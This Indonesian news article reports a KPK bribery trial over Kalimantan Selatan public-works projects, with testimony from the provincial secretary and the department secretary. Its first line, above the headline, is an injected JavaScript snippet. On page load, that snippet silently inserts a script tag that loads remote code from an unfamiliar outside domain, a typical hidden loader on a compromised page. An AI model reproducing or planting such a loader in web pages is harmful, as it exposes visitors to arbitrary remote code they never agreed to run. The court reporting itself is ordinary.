(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sidang Suap Proyek PUPR Kalsel: Sekdis Mengaku Ketidakharmonisan Internal Sebelum OTT, Sekda Tak Tahu Fee Proyek


KANALKALIMANTAN.COM, BANJARMASIN – Saksi pada sidang kasus gratifikasi (suap) proyek Dinas Pekerjaan Umum dan Perumahan Rakyat (PUPR) Kalimantan Selatan (Kalsel), Kamis (16/1/2025) siang, salah satunya Sekretaris Dinas (Sekdis) PUPR Kalsel Andri Fadli.

Dalam persidangan, Andri Fadli buka-bukaan soal kondisi internal Dinas PUPR Kalsel di bawah kepemimpinan Ahmad Solhan sebelum ada Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK).

Sebelum OTT terjadi, dia mengatakan ada ketidakharmonisan hubungan di jajaran pejabat tinggi Dinas PUPR Kalsel. Terutama dirinya dengan pimpinan PUPR Kalsel.

Baca juga: Uji Coba Traffic Light Tugu Adipura Banjarbaru Bingungkan Pengendara

Selaku Sekretaris Dinas dan PPK Keuangan, dia merasa jarang dilibatkan terkait proyek Dinas PUPR Kalsel.

“Sudah tidak harmonis sebelum OTT, sesama pegawai ASN tataran atas bawah, saya sering tidak dilibatkan,” akunya.

“Saya berusaha mencoba untuk supaya kita stabil, cuman tidak terlalu direspon, ya sudahlah saya biarkan saja,” tambahnya.

Selain Sekdis PUPR Kalsel, KPK juga menghadirkan Sekretaris Daerah (Sekda) Kalsel Roy Rizali Anwar memberikan kesaksian di persidangan.

Baca juga: Sekda Roy Rizali Beri Kesaksian di Sidang Korupsi Proyek PUPR Kalsel

Saat persidangan, Roy lebih banyak ditanya terkait mekanisme lelang proyek pembanguan atau pengadaan di lingkungan Pemprov Kalsel, serta terkait dengan tugasnya sebagai pembina kepegawaian.

Dia ditanya soal pengangkatan Ahmad Solhan selaku Kadis PUPR Kalsel dan Yunita Erlynah selaku Kabid Cipta Karya PUPR Kalsel, saat ini keduanya berstatus tersangka KPK.

Termasuk Plt Kabag Rumah Tangga Gubernur Agustus Febry Andrean yang juga Kepala Laboratorium Bahan Kontruksi PUPR Kalsel, dan seorang tersangka lagi bernama Ahmad dari swasta.

Terkait kasus yang bergulir, Roy Rizali mengaku tidak mengetahui adanya praktik fee proyek pada Dinas PUPR Kalsel. Informasi yang dia terima hanya setelah kasus OTT KPK mencuat, itupun dari pemberitaan di media.

Baca juga: Rapat Evaluasi Pasca Pilkada 2024, Ini Kata Sekda HSU

“Saya tahunya di media waktu adanya OTT (Operasi Tangkap Tangan),” kata Roy.

Masih dalam persidangan Roy mengatakan proses tender proyek di lingkungan Pemprov Kalsel sudah menggunakan sistem e-katalog. Dimana pejabat tidak bisa mengatur pemenang lelang, jika proses lelang seusai ketentuan.

“Kalau sesuai ketentuan, tidak bisa dipengaruhi atau diintervensi proses lelang,” ujarnya.

Sidang dengan agenda pemeriksaan saksi juga menghadirkan para pimpinan perusahaan yang mengerjakan proyek PUPR Kalsel.

Baca juga: Perkuat Kerja Sama, Kalapas Narkotika Kelas IIA Karang Intan Audiensi ke Bupati Banjar

Siswanto Hadi Direktur PT PT Wismani Kharya Mandiri (WKM), Tri Yulianto Direktur PT Haryadi Indo Utama, K Ramadhan Direktur CV Bangun Banua Bersama, dan David Sakti Wibowo selaku wiraswasta.

Jaksa KPK, Meyer Simanjuntak mengungkapkan alasan mereka memanggil Sekda Kalsel dan Sekdis PUPR Kalsel ke persidangan diantaranya untuk mengetahui lebih jelas tiga proyek pada Dinas PUPR Kalsel yang bermasalah.

Pembangunan Gedung Samsat Terpadu di Jalan Ahmad Yani Km 17, Kecamatan Gambut, Kabupaten Banjar. Serta dua proyek lain, pembangunan lapangan sepak bola dan pembangunan kolam renang di Kawasan Olahraga Terintegrasi Provinsi Kalsel.

Kemudian jaksa KPK mengaku ingin memastikan jabatan dari dua tersangka Ahmad Solhan dan Yulianti Erlynah yang merupakan pejabat PUPR Kalsel selaku Pengguna Anggaran (PA) dan Pejabat Pembuat Komitmen (PPK) pada tiga proyek bermasalah.

Baca juga: Bupati Banjar Apresiasi Program-program Pemuda Muhammadiyah

“Pada intinya kami menggali bahwa, dua orang tersangka penerima itu Ahmad Solhan dan Yulianti Erlynah merupakan pejabat di lingkungan Dinas PUPR kalsel, sedangkan pemberi suapnya kedua saksi ini tidak mengenal dan mengetahuinya,” kata Meyer.

Jaksa KPK mengaku puas dari keterangan yang disampaikan dalam persidangan oleh saksi Roy Rizali dan Andri Fadli, dan merasa cukup dengan keterangan yang diberikan. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Pemkab Banjar Gelar FKP RKPD 2026 untuk Matangkan Rencana Pembangunan

KANALKALIMANTAN.COM, MARTAPURA – Bappedalitbang Kabupaten Banjar menggelar Forum Konsultasi Publik (FKP) terkait Rancangan Awal RKPD… Read More

3 menit ago

Uji Coba Traffic Light Tugu Adipura Banjarbaru Bingungkan Pengendara

KANALKALIMANTAN.COM, BANJARBARU - Area Traffic Control System (ATCS) di kawasan Tugu Adipura Kota Banjarbaru akan… Read More

2 jam ago

Bupati Banjar Apresiasi Program-program Pemuda Muhammadiyah

KANALKALIMANTAN.COM, MARTAPURA - Pimpinan Daerah Pemuda Muhammadiyah Kabupaten Banjar melakukan audiensi ke Bupati Banjar H… Read More

5 jam ago

Perkuat Kerja Sama, Kalapas Narkotika Kelas IIA Karang Intan Audiensi ke Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur menerima jajaran Lembaga Pemasyarakatan Narkotika Kelas IIA… Read More

5 jam ago

Rapat Evaluasi Pasca Pilkada 2024, Ini Kata Sekda HSU

KANALKALIMANTAN.COM, AMUNTAI - Sekertaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana, mengakui pentingnya peranan… Read More

5 jam ago

Sekda Roy Rizali Beri Kesaksian di Sidang Korupsi Proyek PUPR Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – Sidang perkara kasus gratifikasi (suap) proyek Dinas Pekerjaan Umum dan Penataan Ruang… Read More

10 jam ago

This website uses cookies.